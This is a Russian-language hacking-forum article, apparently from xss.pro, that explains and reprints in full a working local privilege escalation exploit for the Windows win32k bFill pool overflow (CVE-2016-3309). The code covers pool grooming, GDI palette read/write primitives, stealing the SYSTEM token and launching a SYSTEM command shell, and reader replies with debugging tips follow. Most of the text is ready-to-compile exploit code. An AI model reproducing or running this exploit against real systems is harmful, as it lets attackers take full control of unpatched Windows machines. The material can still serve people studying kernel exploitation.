POINT* points = (POINT*)malloc(size * sizeof(POINT));
DWORD point_value = 0x66000000;
for (int x = 0; x < size; x++) {
    points[x].x = point_value;
    points[x].y = point_value;
}

Добавим 0x1769 линий, учитывая тот факт что hHmgr должен быть переписан единицей:
C++:
if (!BeginPath(hMemDC)) {
    printf("[!] Error in BeginPath!\n");
    return 1;
}
   
for (int j = 0; j < 0x1769; j++) {
    if (j == 0) {
        points[1].x = 0x11223344;
        points[1].y = 0x360;
        points[2].x = 1;
        points[2].y = 0x400;
    }
    else {
        points[1].x = point_value;
        points[1].y = point_value;
        points[2].x = point_value;
        points[2].y = point_value;
    }
   
   
    if (!PolylineTo(hMemDC, points, size)) {
        printf("[!] Error in PolylineTo()\n");
        return 1;
    }
}
   
EndPath(hMemDC);

Добавим две функции, одну для создания объектов произвольного размера, а другую для создания палеток определённого размера:
C++:
typedef HANDLE(WINAPI* ZwUserConvertMemHandle)(BYTE* buf, DWORD size);
ZwUserConvertMemHandle pfnUserConvertMemHandle = 0;

void SetupUserConvertMemHandle() {
    printf("[*] Setting up a UserConvertMemHandle\n");
    pfnUserConvertMemHandle = (ZwUserConvertMemHandle)GetProcAddress(LoadLibraryA("win32u.dll"), "NtUserConvertMemHandle");
    if (!pfnUserConvertMemHandle) {
        printf("[!] Can't setup UserConvertMemHandle");
        exit(-1);
    }
    printf("[+] pfnUserConvertMem: %llx\n", pfnUserConvertMemHandle);
}

HANDLE AllocateOnSessionPool(unsigned int size) {
    int alloc_size = size - 0x14;
    BYTE* buffer = (BYTE*)malloc(alloc_size);
    memset(buffer, 0x41, alloc_size);
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, size);
    BYTE* buf = (BYTE*)GlobalLock(hMem);
    memcpy(buf, buffer, alloc_size);
    HANDLE hMem2 = pfnUserConvertMemHandle(buf, alloc_size);
    GlobalUnlock(hMem);
    return hMem;
}

HPALETTE createPaletteOfSize(int size) {
    int palette_entry_count = (size - 0x90) / 4;
    int palette_size = sizeof(LOGPALETTE) + (pallette_entry_count - 1) * sizeof(PALETTEENTRY);

    LOGPALETTE* lPalette = (LOGPALETTE*)malloc(pallette_size);
    memset(lPalette, 0x4, pallette_size);
    lPalette->palNumEntries = pallette_entry_count;
    lPalette->palVersion = 0x300;
    return CreatePalette(lPalette);
}
SetupUserConvertMemHandle - нужен для инициализации указателя на NtUserConvertMemHandle

Добавим структуру для хранения созданых объектов:
C++:
typedef struct pool_palettes_ {
    HPALETTE trash;
    HPALETTE pwnd;
    HPALETTE manager;
    HPALETTE worker;
}pool_palettes;

pool_palettes* palettes;

Теперь заспреим пул. Я уже писал о том почему и как мы это делаем, так что я не буду повторяться:
C++:
SetupUserConvertMemHandle();
   
printf("[*] Preparing a pool\n");
for (int i = 0; i < 0x400; i++) {
    AllocateOnSessionPool(0xfe0);
}
   
for (int i = 0; i < 0x5000; i++) {
    AllocateOnSessionPool(vulnsize);
}
   
palettes = (pool_palettes*)calloc(create_objs_count, sizeof(pool_palettes));
   
for (int i = 0; i < create_objs_count; i++) {
    palettes[i].trash = createPaletteOfSize(0xf40);
    palettes[i].pwnd = createPaletteOfSize(0xfe0);
    palettes[i].manager = createPaletteOfSize(0xfe0);
    palettes[i].worker = createPaletteOfSize(0xfe0);
}
   
for (int i = 0; i < create_objs_count / 2; i++) {
    AllocateOnSessionPool(vulnsize);
}

Вызовем уязвимую функцию и установим глобальную переменную marker в true:
C++:
printf("[*] Triggering the bug\n");
FillPath(hMemDC);
Sleep(1000);
   
marker = true;
о том зачем нам нужен marker я объясню ниже, когда мы заговорим о втором потоке

Далее идёт цикл, итерирующийся по созданым ранее объектам:
C++:
printf("[*] Iterating through objects\n");
for (int i = create_objs_count - 1; i >= 0; i--) {
    pwnd = palletes[i].pwnd;
    manager = palletes[i].manager;
    worker = palletes[i].worker;
   
    memcpy(&rPalette[(cEntries_offset / 4) - 8], &manager, sizeof(UINT64));
   
    if (SetPaletteEntries(pwnd, 0, cEntries_offset / 4, rPalette) == (cEntries_offset / 4)) {
        break;
    }
}
Здесь мы с конца итерируемся по массиву объектов _pool_palettes, меняем глобальные переменные. После чего сохраняем хэндлер на Manager в pwnData, и вызываем SetPaletteEntries на pwnd палетке, передавая в качестве аргумента pwnData. Если заголовок нашей pwnd палетки был успешно переписан из за переполнения, то в результате этого вызова SetPaletteEntries мы перепишем заголовок manager палетки указанными ранее в коде данными и поймаем deadlock основного потока.

Помните мы запускали sub_thread и устанавливали некий marker? Давайте же перейдём к sub_thread:
C++:
int sub_thread() {
    printf("[+] started a sub_thread\n");
    while (!marker)
        Sleep(100);
}
Тут думаю ничего объяснять не надо.

А вот после установки переменной marker в true, происходит следующее:
C++:
Sleep(1000);

manager_bits = (BYTE*)malloc(0x1000);
int cRead = 0;
while (!cRead) {
    cRead = GetPaletteEntries(manager, 0, 0x400, (PALETTEENTRY*)manager_bits);
    if (cRead != 0x400) {
        printf("[!] Error: Can't find overwrited manager palette\n");
        return 1;
    }
    Sleep(1000);
}
printf("[+] Found OOB capability!\n");
Здесь мы выделяем 0x1000 памяти, в которую мы будем читать память при помощи manager палетки. Затем в цикле мы пытаемся при помощи manager палетки прочитать 0x400 байт памяти. Как только нам это удаётся мы выпадаём из цикла.

На этом этапе мы обошли deadlock основного потока, и получили примитив произвольного чтения\записи! Можете себе похлопать :)

Дописываем эксплоит
Дальше идёт пожалуй сама важная часть кода - исправление последствий переполнения:
C++:
printf("[*] Now, fixing overwitten palettes:\n");
UINT64 worker_palette_obj = (UINT64)manager_bits + cEntries_offset - 0x20;
UINT64 worker_palette_pFistColor = *(UINT64*)(worker_palette_obj + 0x78);

UINT64 worker_palette_address = worker_palette_pFistColor - (0x78 + 0x10);
UINT64 manager_palette_address = worker_palette_pFistColor - (0x78 + 0x10) - 0x1000;
UINT64 pwnd_palette_address = worker_palette_pFistColor - (0x78 + 0x10) - 0x2000;
Первым делом получаем адреса всех палеток

Теперь запишем в hHmgr pwnd палетки валидный хэндлер:
C++:
printf("    --> hHmgr of pwnd\n");
int result = write(pwnd_palette_address, (BYTE*)&pwnd, sizeof(UINT64));
if (result != sizeof(UINT64)) {
  printf("[!] Error of reparing pwnd.hHmgr");
  return 1;
}

Исправим заголовок pwnd палетки:
C++:
printf("    --> Header of pwnd\n");
BYTE pwnd_header_palette[] = "\x00\x00\xff\x23\x47\x68\x30\x38\x00\x00\x00\x00\x00\x00\x00\x00";
write(pwnd_palette_address - 0x10, (BYTE*)&pwnd_header_palette, sizeof(pwnd_header_palette) - 1);

Теперь поправим счётчик ссылок для pwnd и manager палеток:
C++:
printf("    --> Refcount of pwnd and manager\n");
UINT64 null = 0;
write(pwnd_palette_address + 0x8, (BYTE*)&null, sizeof(UINT64));
write(manager_palette_address + 0x8, (BYTE*)&null, sizeof(UINT64));

Исправим заголовок идущий после pwnd палетки:
C++:
printf("    --> Header after pwnd\n");
BYTE next_pool_header[] = "\xff\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
write(manager_palette_address - 0x20, (BYTE*)&next_pool_header, sizeof(next_pool_header) - 1);

Настало время заняться тем, ради чего мы писали всё остальное - подменить токен процесса. Для начала получим адрес PsInitialSystemProcess:
C++:
FARPROC WINAPI KernelSymbolInfo(LPCSTR lpSymbolName) {
  _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
    GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
  if (NtQuerySystemInformation == NULL) {
    return NULL;
  }

  DWORD len;
  NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
  PSYSTEM_MODULE_INFORMATION ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  if (!ModuleInfo) {
    return NULL;
  }

  NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
  LPVOID kernelBase = ModuleInfo->Module[0].ImageBase;
  PUCHAR kernelImage = ModuleInfo->Module[0].FullPathName;

  LPCSTR lpKernelName = (LPCSTR)(ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName);

  HMODULE hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0);
  if (hUserSpaceKernel == NULL) {
    VirtualFree(ModuleInfo, 0, MEM_RELEASE);
    return NULL;
  }

  FARPROC pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName);
  if (pUserKernelSymbol == NULL) {
    VirtualFree(ModuleInfo, 0, MEM_RELEASE);
    return NULL;
  }

  FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase);

  FreeLibrary(hUserSpaceKernel);
  VirtualFree(ModuleInfo, 0, MEM_RELEASE);

  return pLiveFunctionAddress;
}

int sub_thread() {

    ...

    printf("[*] So, lets swap some tokens!\n");
    FARPROC fpFunctionAddress = KernelSymbolInfo("PsInitialSystemProcess");
    if (fpFunctionAddress == NULL) {
      printf("[!] Can't find memory address!\n");
      return 1;
    }

    ...

}
Адрес PsInitialSystemProcess содержит адрес структуры EPROCESS системного процесса. Кратко объясню как работает функция KernelSymbolInfo: Она получает адрес NtQuerySystemInformation. Вызывает фукнцию один раз, для опеределения того какого размера нужно выделить пространство. После выделит его и вызовет фукнцию второй раз передав выделенное пространство в качестве аргумента. Первым элементом полученного массива Module будет адресс kernel32 dll. Получив адресс kernel32, функция вызовет LoadLibrary и GetProcAddress для получения адреса нужного элемента ядра. Затем получит смещение и прибавит к нему адресс ядра.

Объявим нужные переменные:
C++:
UINT64 lpSystemEPROCESS = NULL;
UINT64 lpNextEPROCESS = NULL;
LIST_ENTRY leNextProcessLink;
UINT64 lpSystemToken = NULL;
UINT64 dwCurrentPID;

Используя наш примитив чтения, прочитаем адресс системного EPROCESS, получим системный токен и указатель на следующий процесс в связном списке процессов:
C++:
read((UINT64)fpFunctionAddress, (BYTE*)&lpSystemEPROCESS, sizeof(UINT64));
read(lpSystemEPROCESS + 0x2e8, (BYTE*)&leNextProcessLink, sizeof(UINT64));
read(lpSystemEPROCESS + 0x358, (BYTE*)&lpSystemToken, sizeof(UINT64));

Итерируемся по списку процессов и ищем процесс эксплойта:
C++:
do {
  lpNextEPROCESS = (UINT64)leNextProcessLink.Flink - 0x2e8;
  read((lpNextEPROCESS + 0x2e0), (BYTE*)&dwCurrentPID, sizeof(UINT64));
  read((lpNextEPROCESS + 0x2e8), (BYTE*)&leNextProcessLink, sizeof(UINT64));
} while (dwCurrentPID != GetCurrentProcessId());

Теперь запишем системный токен в адрес токена процесса эксплойта:
C++:
write((lpNextEPROCESS + 0x358), (BYTE*)&lpSystemToken, sizeof(UINT64));
На этом этапе эксплоит почти говотов, осталось пару деталей.

В цикле удалим созданые ранее объекты:
C++:
for (int i = 0; i < create_objs_count; i++) {
  DeleteObject(palettes[i].trash);
  DeleteObject(palettes[i].manager);
  DeleteObject(palettes[i].worker);
  if (manager != palettes[i].manager) {
    DeleteObject(palettes[i].pwnd);
  }
}

И создадим новую командную строку:
C++:
void spawn_cmd() {
  STARTUPINFO si = { sizeof(STARTUPINFO) };
  PROCESS_INFORMATION pi;

  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));

  //Creating process
  const wchar_t* cmd = L"C:\\Windows\\System32\\cmd.exe";
  if (CreateProcess(cmd, NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
    printf("[+] Cmd created!\n");
  }
  else {
    printf("[!] FATAL: Can't create cmd.exe\n");
  }

  return;
}

int sub_thread() {
    
    ...
    
    spawn_cmd();
    return 0;
}

На этом этапе эксплоит можно считать завершённым, давайте откомпилим бинарник и проверим!


Полный код эксплойта:
main.cpp
C++:
#include <windows.h>
#include <stdio.h>
#include "inc.h"

int cEntries_offset = 0xf98;
bool marker = false;
HPALETTE pwnd = 0;
HPALETTE manager = 0;
HPALETTE worker = 0;
BYTE* manager_bits = 0;

typedef struct pool_palettes_ {
    HPALETTE trash;
    HPALETTE pwnd;
    HPALETTE manager;
    HPALETTE worker;
}pool_palettes;

pool_palettes* palettes;
int create_objs_count = 0x800;

typedef HANDLE(WINAPI* ZwUserConvertMemHandle)(BYTE* buf, DWORD size);
ZwUserConvertMemHandle pfnUserConvertMemHandle = 0;

void spawn_cmd() {
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    //Creating process
    const wchar_t* cmd = L"C:\\Windows\\System32\\cmd.exe";
    if (CreateProcess(cmd, NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        printf("[+] Cmd created!\n");
    }
    else {
        printf("[!] FATAL: Can't create cmd.exe\n");
    }

    return;
}

FARPROC WINAPI KernelSymbolInfo(LPCSTR lpSymbolName) {
    _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
        GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL) {
        return NULL;
    }

    DWORD len;
    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    PSYSTEM_MODULE_INFORMATION ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!ModuleInfo) {
        return NULL;
    }

    NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
    LPVOID kernelBase = ModuleInfo->Module[0].ImageBase;
    PUCHAR kernelImage = ModuleInfo->Module[0].FullPathName;

    LPCSTR lpKernelName = (LPCSTR)(ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName);

    HMODULE hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0);
    if (hUserSpaceKernel == NULL) {
        VirtualFree(ModuleInfo, 0, MEM_RELEASE);
        return NULL;
    }

    FARPROC pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName);
    if (pUserKernelSymbol == NULL) {
        VirtualFree(ModuleInfo, 0, MEM_RELEASE);
        return NULL;
    }

    FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase);

    FreeLibrary(hUserSpaceKernel);
    VirtualFree(ModuleInfo, 0, MEM_RELEASE);

    return pLiveFunctionAddress;
}

void SetupUserConvertMemHandle() {
    printf("[*] Setting up a UserConvertMemHandle\n");
    pfnUserConvertMemHandle = (ZwUserConvertMemHandle)GetProcAddress(LoadLibraryA("win32u.dll"), "NtUserConvertMemHandle");
    if (!pfnUserConvertMemHandle) {
        printf("[!] Can't setup UserConvertMemHandle");
        exit(-1);
    }
    printf("[+] pfnUserConvertMem: %llx\n", pfnUserConvertMemHandle);
}

HANDLE AllocateOnSessionPool(unsigned int size) {
    int alloc_size = size - 0x14;
    BYTE* buffer = (BYTE*)malloc(alloc_size);
    memset(buffer, 0x41, alloc_size);
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, size);
    BYTE* buf = (BYTE*)GlobalLock(hMem);
    memcpy(buf, buffer, alloc_size);
    HANDLE hMem2 = pfnUserConvertMemHandle(buf, alloc_size);
    GlobalUnlock(hMem);
    return hMem;
}

void FreeFromSessionPool(HANDLE hMem) {
    SetClipboardData(CF_TEXT, hMem);
    EmptyClipboard();
}

HPALETTE createPaletteOfSize(int size) {
    int pallette_entry_count = (size - 0x90) / 4;
    int pallette_size = sizeof(LOGPALETTE) + (pallette_entry_count - 1) * sizeof(PALETTEENTRY);

    LOGPALETTE* lPalette = (LOGPALETTE*)malloc(pallette_size);
    memset(lPalette, 0x4, pallette_size);
    lPalette->palNumEntries = pallette_entry_count;
    lPalette->palVersion = 0x300;
    return CreatePalette(lPalette);
}

int write(UINT64 target_address, BYTE* data, int size) {
    // cEntries
    memcpy(&manager_bits[(cEntries_offset + 0x60) - (0x18 * 4)], &size, sizeof(DWORD));
    // pFirstColor
    memcpy(&manager_bits[(cEntries_offset + 0x60) - 0x8], &target_address, sizeof(UINT64));
    // Setting values
    SetPaletteEntries(manager, 0, (cEntries_offset + 0x60) / 4, (PALETTEENTRY*)manager_bits);
    // Writing data
    return SetPaletteEntries(worker, 0, size / 4, (PALETTEENTRY*)data) * 4;
}

int read(UINT64 target_address, BYTE* data, int size) {
    // cEntries
    memcpy(&manager_bits[(cEntries_offset + 0x60) - (0x18 * 4)], &size, sizeof(DWORD));
    // pFirstColor
    memcpy(&manager_bits[(cEntries_offset + 0x60) - 0x8], &target_address, sizeof(UINT64));
    // Setting values
    SetPaletteEntries(manager, 0, (cEntries_offset + 0x60) / 4, (PALETTEENTRY*)manager_bits);
    // Reading data
    return GetPaletteEntries(worker, 0, size / 4, (PALETTEENTRY*)data) * 4;
}

//thread
int sub_thread() {
    printf("[+] started a sub_thread\n");
    while (!marker)
        Sleep(100);

    Sleep(1000);

    manager_bits = (BYTE*)malloc(0x1000);
    int cRead = 0;
    while (!cRead) {
        cRead = GetPaletteEntries(manager, 0, 0x400, (PALETTEENTRY*)manager_bits);
        if (cRead != 0x400) {
            printf("[!] Error: Can't find overwrited manager palette\n");
            return 1;
        }
        Sleep(1000);
    }
    printf("[+] Found OOB capability!\n");

    printf("[*] Now, fixing overwitten palettes:\n");
    UINT64 worker_palette_obj = (UINT64)manager_bits + cEntries_offset - 0x20;
    UINT64 worker_palette_pFistColor = *(UINT64*)(worker_palette_obj + 0x78);

    UINT64 worker_palette_address = worker_palette_pFistColor - (0x78 + 0x10);
    UINT64 manager_palette_address = worker_palette_pFistColor - (0x78 + 0x10) - 0x1000;
    UINT64 pwnd_palette_address = worker_palette_pFistColor - (0x78 + 0x10) - 0x2000;

    printf("    --> hHmgr of pwnd\n");
    int result = write(pwnd_palette_address, (BYTE*)&pwnd, sizeof(UINT64));
    if (result != sizeof(UINT64)) {
        printf("[!] Error of reparing pwnd.hHmgr");
        return 1;
    }

    printf("    --> Header of pwnd\n");
    BYTE pwnd_header_palette[] = "\x00\x00\xff\x23\x47\x68\x30\x38\x00\x00\x00\x00\x00\x00\x00\x00";
    write(pwnd_palette_address - 0x10, (BYTE*)&pwnd_header_palette, sizeof(pwnd_header_palette) - 1);

    printf("    --> Refcount of pwnd and manager\n");
    UINT64 null = 0;
    write(pwnd_palette_address + 0x8, (BYTE*)&null, sizeof(UINT64));
    write(manager_palette_address + 0x8, (BYTE*)&null, sizeof(UINT64));

    printf("    --> Header after pwnd\n");
    BYTE next_pool_header[] = "\xff\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
    write(manager_palette_address - 0x20, (BYTE*)&next_pool_header, sizeof(next_pool_header) - 1);

    printf("[*] So, lets swap some tokens!\n");
    FARPROC fpFunctionAddress = KernelSymbolInfo("PsInitialSystemProcess");
    if (fpFunctionAddress == NULL) {
        printf("[!] Can't find memory address!\n");
        return 1;
    }

    UINT64 lpSystemEPROCESS = NULL;
    UINT64 lpNextEPROCESS = NULL;
    LIST_ENTRY leNextProcessLink;
    UINT64 lpSystemToken = NULL;
    UINT64 dwCurrentPID;

    read((UINT64)fpFunctionAddress, (BYTE*)&lpSystemEPROCESS, sizeof(UINT64));
    read(lpSystemEPROCESS + 0x2e8, (BYTE*)&leNextProcessLink, sizeof(UINT64));
    read(lpSystemEPROCESS + 0x358, (BYTE*)&lpSystemToken, sizeof(UINT64));
    printf("[+] Got info about system:\n");
    printf("    --> System process id: 0x4\n");
    printf("    --> System EPROCESS address: 0x%llx\n", lpSystemEPROCESS);
    printf("    --> System Token: 0x%llx\n", lpSystemToken);

    printf("[*] Now searching for current process...\n");
    do {
        lpNextEPROCESS = (UINT64)leNextProcessLink.Flink - 0x2e8;
        read((lpNextEPROCESS + 0x2e0), (BYTE*)&dwCurrentPID, sizeof(UINT64));
        read((lpNextEPROCESS + 0x2e8), (BYTE*)&leNextProcessLink, sizeof(UINT64));
    } while (dwCurrentPID != GetCurrentProcessId());

    printf("[+] Found current process: \n");
    printf("    --> Current process id: 0x%llx\n", dwCurrentPID);
    printf("    --> Current EPROCESS address: 0x%llx\n", lpNextEPROCESS);

    printf("[*] Performing swap...\n");
    write((lpNextEPROCESS + 0x358), (BYTE*)&lpSystemToken, sizeof(UINT64));
    printf("[+] Successfull!\n");

    printf("[*] Make some cleaning...\n");
    for (int i = 0; i < create_objs_count; i++) {
        DeleteObject(palettes[i].trash);
        DeleteObject(palettes[i].manager);
        DeleteObject(palettes[i].worker);
        if (manager != palettes[i].manager) {
            DeleteObject(palettes[i].pwnd);
        }
    }

    printf("[+] Enjoy system shell!\n");
    spawn_cmd();

    return 0;
}

int main() {
    printf("[*] Exploit for CVE-2016-3309 Windows 10 1703 RS2 Creators Update\n");
    printf("[*] Trying to reach vulnerable function win32kfull!bFill\n");

    SetupUserConvertMemHandle();

    printf("[*] Preparing for vuln trigger\n");
    DWORD vulnsize = 0xa0;
    PALETTEENTRY* pwnData = (PALETTEENTRY*)calloc(0x1000, sizeof(PALETTEENTRY));
    memset(pwnData, 0x4, 0x1000 * sizeof(PALETTEENTRY));

    BYTE pool_header_palette[] = "\x00\x00\xff\x23\x47\x68\x30\x38\x00\x00\x00\x00\x00\x00\x00\x00";
    memcpy(&pwnData[(cEntries_offset / 4) - 12], &pool_header_palette, sizeof(pool_header_palette) - 1);

    printf("[*] Starting a safe thread\n");
    DWORD tid;
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_thread, 0, 0, &tid);

    HDC hdc = GetDC(NULL);
    HDC hMemDC = CreateCompatibleDC(hdc);
    HGDIOBJ bitmap = CreateBitmap(0x666, 0x1338, 1, 32, NULL);
    HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);

    int size = 0x74a5;
    POINT* points = (POINT*)malloc(size * sizeof(POINT));
    DWORD point_value = 0x66000000;
    for (int x = 0; x < size; x++) {
        points[x].x = point_value;
        points[x].y = point_value;
    }

    if (!BeginPath(hMemDC)) {
        printf("[!] Error in BeginPath!\n");
        return 1;
    }

    for (int j = 0; j < 0x1769; j++) {
        if (j == 0) {
            points[1].x = 0x11223344;
            points[1].y = 0x360;
            points[2].x = 1;
            points[2].y = 0x400;
        }
        else {
            points[1].x = point_value;
            points[1].y = point_value;
            points[2].x = point_value;
            points[2].y = point_value;
        }


        if (!PolylineTo(hMemDC, points, size)) {
            printf("[!] Error in PolylineTo()\n");
            return 1;
        }
    }

    EndPath(hMemDC);

    printf("[*] Preparing a pool\n");
    for (int i = 0; i < 0x400; i++) {
        AllocateOnSessionPool(0xfe0);
    }

    for (int i = 0; i < 0x5000; i++) {
        AllocateOnSessionPool(vulnsize);
    }

    palettes = (pool_palettes*)calloc(create_objs_count, sizeof(pool_palettes));

    for (int i = 0; i < create_objs_count; i++) {
        palettes[i].trash = createPaletteOfSize(0xf40);
        palettes[i].pwnd = createPaletteOfSize(0xfe0);
        palettes[i].manager = createPaletteOfSize(0xfe0);
        palettes[i].worker = createPaletteOfSize(0xfe0);
    }

    for (int i = 0; i < create_objs_count / 2; i++) {
        AllocateOnSessionPool(vulnsize);
    }

    printf("[*] Triggering the bug\n");
    FillPath(hMemDC);
    Sleep(1000);

    marker = true;

    printf("[*] Iterating through objects\n");
    for (int i = create_objs_count - 1; i >= 0; i--) {
        pwnd = palettes[i].pwnd;
        manager = palettes[i].manager;
        worker = palettes[i].worker;

        memcpy(&pwnData[(cEntries_offset / 4) - 8], &manager, sizeof(UINT64));

        if (SetPaletteEntries(pwnd, 0, cEntries_offset / 4, pwnData) == (cEntries_offset / 4)) {
            break;
        }
    }

    Sleep(-1);
}

inc.h
C++:
#pragma once
#include <windows.h>

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemModuleInformation = 11,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG NumberOfModules;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

Итог
Спасибо за прочтение! В последнее время я редко пишу на форум, поэтому в статье могут быть ошибки. Не стесняйтесь о них писать!
В этой статье я постарался относительно кратно, но подробно описать как пишутся эксплойты под N-day уязвимости. Конечно уязвимость не совсем актуальна, ведь сейчас в ядре Windows уже ввели сигментарную кучу, и полностью исключили возможность использования GDI примитивов, в результате чего эксплуатация переполнения в куче превратилась в ту ещё задачу :) Но для тех кто только начал свой путь эксплуатации ядра, побаловался с HEVD и не знает что делать дальше, такой подробный разбор будет очень полезен.

Azrv3l cпециально для xss.pro
 

Вложения

  • win32kfull.zip
    3.8 МБ · Просмотры: 14
Пожалуйста, обратите внимание, что пользователь заблокирован
Примечание: Если кто-то всё таки решится сам повторить эксплоит, то советую устанавливать аппаратные точки останова, так как обычные у меня не работали.
Возможно где-то происходит context switch и код выполняется в другом потоке. Попробуй что-то вроде ~*bp /p <Адрес _EPROCESS для текущего процесса> win32kfull!bFill. ~*bp поставит бряку для всех потоков текущего процесса.
 
Красава!!!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх